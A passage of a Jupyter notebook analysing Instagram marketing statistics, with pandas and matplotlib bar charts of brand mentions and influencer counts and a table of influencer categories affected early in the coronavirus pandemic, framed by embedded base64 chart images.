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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import pandas as pd #import pandas\n", + "import matplotlib.pyplot as plt #import matplotlib\n", + "\n", + "stats = pd.read_csv(\"D:\\DataScience\\Instagram DataAnalysis\\ Marketing Statistics\\MS9.csv\", header=0, sep=\",\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats) #make dataframe\n", + "x = list(df.iloc[:, 0]) #get 0th col\n", + "y = list(df.iloc[:, 1]) #get 1st col\n", + "z = list(df.iloc[:, 2])\n", + "\n", + "plt.ylabel(\"Brands\")\n", + "plt.xlabel(\"Mentions\")\n", + "plt.barh(x,y, color='b')\n", + "plt.show()\n", + "plt.ylabel(\"Brands\")\n", + "plt.xlabel(\"Influencers\")\n", + "plt.barh(x,z, color='r')\n", + "plt.show()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Most-affected influencer categories, first months of coronavirus pandemic" + ] + }, + { + "cell_type": "code", + "execution_count": 77, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + " Category (16/March/2020) (18/May/2020)\n", + "0 Insurance 1650 1882\n", + "1 Mobile phones 11076 11573\n", + "2 Recipes 20802 21735\n", + "3 Televisions 2631 2718\n", + "4 Politics 15190 15411\n", + "5 Environmentalism 2131 2161\n", + "6 Healthcare 78694 79601\n", + "7 Newspapers 28135 28258\n", + "8 Baking 6586 6600\n", + "9 Engineering 29648 29571\n", + "10 Parties 41626 26829\n", + "11 Sunglasses 3608 2663\n", + "12 Music festivals 3225 2443\n", + "13 Performing arts 17653 13377\n", + "14 Vacations 18531 14284\n", + "15 Wine 5661 4577\n", + "16 Live events 137115 111187\n", + "17 Hotels 15863 12935\n", + "18 Seafood 1667 1366\n", + "19 Nightclubs 5647 4641\n" + ] + }, + { + "data": { + "image/png": "iVBORw0KGgoAAAANSUhEUgAABsUAAAI/CAYAAAAvG9flAAAAOXRFWHRTb2Z0d2FyZQBNYXRwbG90bGliIHZlcnNpb24zLjMuMiwgaHR0cHM6Ly9tYXRwbG90bGliLm9yZy8vihELAAAACXBIWXMAAAsTAAALEwEAmpwYAABUu0lEQVR4nO3debxdZX0v/s+XRBlUZvACsQ0VWkFUlKjUocUigmLFiWvUShS9/Gq9dbg/tThztd5CbbW1/sSqIIMKoraiIigFUXEAoyiDqHCVSoQqAsahgpA+vz/WOoedkzPlJIckK+/363VeZ+9nr/XsZz177TXszxqqtRYAAAAAAAAYsi02dAMAAAAAAABgvgnFAAAAAAAAGDyhGAAAAAAAAIMnFAMAAAAAAGDwhGIAAAAAAAAMnlAMAAAAAACAwVu4oRuwvu28885t8eLFG7oZAAAAAAAA3M2+8Y1v/Ky1tstkrw0uFFu8eHGWL1++oZsBAAAAAADA3ayq/n2q11w+EQAAAAAAgMETigEAAAAAADB4QjEAAAAAAAAGb3D3FAMAAAAAABhzxx13ZMWKFbnttts2dFNYj7baaqssWrQo97jHPWY9jlAMAAAAAAAYrBUrVuQ+97lPFi9enKra0M1hPWit5eabb86KFSuy5557zno8l08EAAAAAAAG67bbbstOO+0kEBuQqspOO+201mf/CcUAAAAAAIBBE4gNz1w+U6EYAAAAAAAAg+eeYgAAAAAAwGZj8bHnrNf6rjv+8FkN95vf/CaHHXZYLrzwwhx++OH52te+lsc85jH59Kc/PT5May2vf/3r89GPfjQLFizIi1/84rz0pS9Nktxxxx058MAD841vfCNVlT/7sz/L6aefniS58847s9tuu+WRj3zkavXN1b3vfe/86le/mvS1G2+8McuWLcvf/u3f5sUvfnF+8YtfZMGCBXnd616XZz3rWUmSH/7wh1m6dGluueWWPOxhD8vpp5+ee97znvnQhz6UE044Yfw9TjzxxDzkIQ9Jkpx33nl52ctellWrVuVFL3pRjj322CTJK1/5yjzpSU/Kn/zJn6zzdM14plhVnVxVP62qKyd57ZVV1apq55Gy11TVtVX1vao6dKT8gKq6on/tndWf11ZVW1bVR/ryS6pq8cg4y6rqmv5v2TpPLQAAAAAAwAZw8skn5+lPf3oWLFiQV73qVeOB1qhTTjkl119/fb773e/m6quvztKlS8dfu/jii/OoRz0qSXKve90rV155ZX7zm98kSc4///zssccea9WeO++8c07Tcd555+XQQw/NNttsk9NOOy1XXXVVzjvvvLz85S/Pz3/+8yTJX/3VX+UVr3hFrrnmmuywww456aSTkiR77rlnvvCFL+Tyyy/PG97whhxzzDFJklWrVuUlL3lJzj333HznO9/JGWecke985ztJkr/8y7/M8ccfP6e2TjSbyyeekuSwiYVVdb8khyT50UjZvkmWJnlgP867q2pB//KJSY5Jsnf/N1bnC5Pc2lrbK8k7kpzQ17VjkjcleWSSRyR5U1XtsHaTBwAAAAAAsOF96EMfyhFHHJEkOfjgg3Of+9xnjWFOPPHEvPGNb8wWW3Txza677jr+2nnnnZcnPvGJ48+f+MQn5pxzurPezjjjjDz72c8ef+3SSy/Nox71qDz0oQ/Nox71qHzve99L0oVuRx55ZP70T/80T3jCE/KrX/0qL3jBC/KgBz0oD37wg/Pxj398vI7Xve51echDHpIDDzwwP/nJT9Zox+///u9n7733TpLsvvvu2XXXXXPTTTeltZYLL7wwz3zmM5Mky5Ytyyc+8YkkyaMe9ajssEMX9Rx44IFZsWLFeHv32muv/N7v/V7uec97ZunSpTn77LOTJL/7u7+bm2++Of/xH/+x1n0+0YyhWGvti0lumeSldyR5dZI2UnZEkjNba7e31n6Y5Nokj6iq3ZJs21r7amutJTktyVNHxjm1f/yxJAf3Z5EdmuT81totrbVbk5yfScI5AAAAAACAjdlvf/vb/OAHP8jixYunHe7//t//m4985CNZsmRJnvjEJ+aaa64Zf+3zn/98DjrooPHnS5cuzZlnnpnbbrstl19+eR75yEeOv/aABzwgX/ziF3PZZZflzW9+c1772teOv/bVr341p556ai688MK85S1vyXbbbZcrrrgil19++fglCn/961/nwAMPzLe//e380R/9Ud73vvcl6c7o+t73vpd99913tXZfeuml+e1vf5v73//+ufnmm7P99ttn4cLuDl6LFi3Kj3/84zWm9aSTThoP+X784x/nfve73/hrE8d52MMeli9/+cvT9t1szOmeYlX1lCQ/bq19u78K4pg9knxt5PmKvuyO/vHE8rFxrk+S1tqdVbUyyU6j5ZOMAwAAAAAAsEn42c9+lu23337G4W6//fZstdVWWb58ef7lX/4lRx99dL70pS/lhhtuyI477phtttlmfNgHP/jBue6663LGGWfkSU960mr1rFy5MsuWLcs111yTqsodd9wx/tohhxySHXfcMUnyb//2bznzzDPHXxs7i+ue97xnnvzkJydJDjjggJx//vlJkksuuWS18C3p7jH2vOc9L6eeemq22GKLdOdGrW5ClpTPf/7zOemkk3LxxRcnyYzj7Lrrrrnhhhum6rZZm83lEyc2Ypskr0vyxslenqSsTVM+13EmtumYqlpeVctvuummyQYBAAAAAADYILbeeuvcdtttMw63aNGiPOMZz0iSPO1pT8vll1+eJDn33HNz6KGHrjH8U57ylLzyla9c7dKJSfKGN7whj3vc43LllVfmU5/61Grvfa973Wv8cWttjcAqSe5xj3uMly9YsGD8/mPnnntuDjvsrov6/eIXv8jhhx+ev/7rv86BBx6YJNl5553z85//fHycFStWZPfddx8f5/LLL8+LXvSinH322dlpp53Gp/v66+86T2riOLfddlu23nrrqTtultY6FEty/yR7Jvl2VV2XZFGSb1bVf0t3Ntf9RoZdlOSGvnzRJOUZHaeqFibZLt3lGqeqaw2ttfe21pa01pbssssuc5gkAAAAAACA+bHDDjtk1apVMwZjT33qU3PhhRcmSb7whS/k93//95OseT+xMUcffXTe+MY35kEPetBq5StXrswee3QX3zvllFOmfL8nPOEJede73jX+/NZbb522fRdccEEOPvjgJN0lIZ/2tKflqKOOypFHHjk+TFXlcY97XD72sY8lSU499dTxe6n96Ec/ytOf/vScfvrp49OWJA9/+MNzzTXX5Ic//GF++9vf5swzz8xTnvKU8de///3vZ7/99pu2bbOx1pdPbK1dkWT8zm59MLaktfazqvpkkg9X1duT7J5k7ySXttZWVdUvq+rAJJckOSrJP/VVfDLJsiRfTfLMJBe21lpVfTbJ/6mqHfrhnpDkNXOZSAAAAAAAgCS57vjDN8j7PuEJT8jFF1+cxz/+8XnsYx+b7373u/nVr36VRYsW5aSTTsqhhx6aY489Ns997nPzjne8I/e+973z/ve/P6tWrco111yTBzzgAWvUuWjRorzsZS9bo/zVr351li1blre//e3j9wmbzOtf//q85CUvyX777ZcFCxbkTW96U57+9KdPOuxNN92UrbbaKttuu22S5KyzzsoXv/jF3HzzzePB2ymnnJL9998/J5xwQpYuXZrXv/71eehDH5oXvvCFSZI3v/nNufnmm/MXf/EXSZKFCxdm+fLlWbhwYd71rnfl0EMPzapVq3L00UfngQ98YJLkjjvuyLXXXpslS5bMvrOnUJNdp3G1AarOSHJQkp2T/CTJm1prJ428fl36UKx//rokRye5M8nLW2vn9uVLkpySZOsk5yb5yz782irJ6Ukemu4MsaWttR/04xydZOzub29trX1gpglasmRJW758+WymHQAAAAAAGLirr746++yzz4ZuRi677LK8/e1vz+mnn75W41188cX54Ac/mPe85z3z1LLZ+eAHP5gVK1bk2GOPvVvf91//9V/zzW9+M295y1vWeG2yz7aqvtFamzRBmzEU29QIxQAAAAAAgDEbSyiWJCeffHKWLVuWBQsWbOimbDI++tGP5pBDDsn222+/xmtrG4qt9eUTAQAAAAAAWHtHH330hm7CJmf0fmXraov1VhMAAAAAAABspIRiAAAAAAAADJ5QDAAAAAAAgMETigEAAAAAAMyz3/zmN/njP/7jrFq1Kocddli23377PPnJT15tmAsuuCAPe9jDsv/+++cxj3lMrr322vHX7rjjjhxwwAFJkqrK8573vPHX7rzzzuyyyy5r1Lc2xuq//vrr87jHPS777LNPHvjAB+Yf//Efx4e55ZZbcsghh2TvvffOIYcckltvvTVJcv755+eAAw7Igx70oBxwwAG58MILx8f5xje+kQc96EHZa6+98tKXvjSttSTJu971rnzgAx+Yc3vnYuHd+m4AAAAAAAAb0nHbref6Vs5qsJNPPjlPf/rTs2DBgrzqVa/Kf/7nf+af//mfVxvmxS9+cc4+++zss88+efe7352//uu/zimnnJIkufjii/OoRz0qSXKve90rV155ZX7zm99k6623zvnnn5899thjnSZjrP6FCxfm7//+7/Owhz0sv/zlL3PAAQfkkEMOyb777pvjjz8+Bx98cI499tgcf/zxOf7443PCCSdk5513zqc+9ansvvvuufLKK3PooYfmxz/+8fg0vfe9782BBx6YJz3pSTnvvPPyxCc+MUcffXQe/ehH5wUveME6tXttCMUAAAAAANaDxceeM291X3f84fNWN3D3+NCHPpQPf/jDSZKDDz44F1100RrDVFV+8YtfJElWrlyZ3Xffffy1sTBpzBOf+MScc845eeYzn5kzzjgjz372s/OlL30pSXLppZfm5S9/+Xho9oEPfCB/8Ad/kMc+9rH5p3/6p+y///5Jkkc/+tE58cQT8+AHP3i8/t122y277bZbkuQ+97lP9tlnn/z4xz/Ovvvum7PPPnu83cuWLctBBx2UE044IQ996EPH2/XABz4wt912W26//fbccsst+cUvfpE//MM/TJIcddRR+cQnPpEnPvGJ2WabbbJ48eJceumlecQjHrF+OnkGLp8IAAAAAAAwj37729/mBz/4QRYvXjztcO9///vzpCc9KYsWLcrpp5+eY489dvy1z3/+8znooIPGny9dujRnnnlmbrvttlx++eV55CMfOf7aAx7wgHzxi1/MZZddlje/+c157WtfmyR50YteNH7m2fe///3cfvvtefCDHzxp/Uly3XXX5bLLLhuv+yc/+cl4YLbbbrvlpz/96RrT8PGPfzwPfehDs+WWW+bHP/5xFi1aNP7aokWLxs8gS5IlS5aMB3l3B6EYAAAAAADAPPrZz36W7bfffsbh3vGOd+Qzn/lMVqxYkRe84AX5X//rfyVJbrjhhuy4447ZZpttxod98IMfnOuuuy5nnHFGnvSkJ61Wz8qVK3PkkUdmv/32yyte8YpcddVVSZIjjzwyn/70p3PHHXfk5JNPzvOf//wp6//Vr36VZzzjGfmHf/iHbLvttrOazquuuip/9Vd/NX5ZyLH7h42qqvHHu+66a2644YZZ1b0+CMUAAAAAAADm0dZbb53bbrtt2mFuuummfPvb3x4/K+tZz3pWvvKVryRJzj333Bx66KFrjPOUpzwlr3zlK/PsZz97tfI3vOENedzjHpcrr7wyn/rUp8bfe5tttskhhxySs88+O2eddVae85znTFr/HXfckWc84xl57nOfm6c//enj5fe9731z4403JkluvPHG7LrrruOvrVixIk972tNy2mmn5f73v3+S7sywFStWrDbM6CUhb7vttmy99dbT9sv6JBQDAAAAAACYRzvssENWrVo1bTC2ww47ZOXKlfn+97+fJDn//POzzz77JFnzfmJjjj766LzxjW/Mgx70oNXKV65cmT322CNJxi+XOOZFL3pRXvrSl+bhD394dtxx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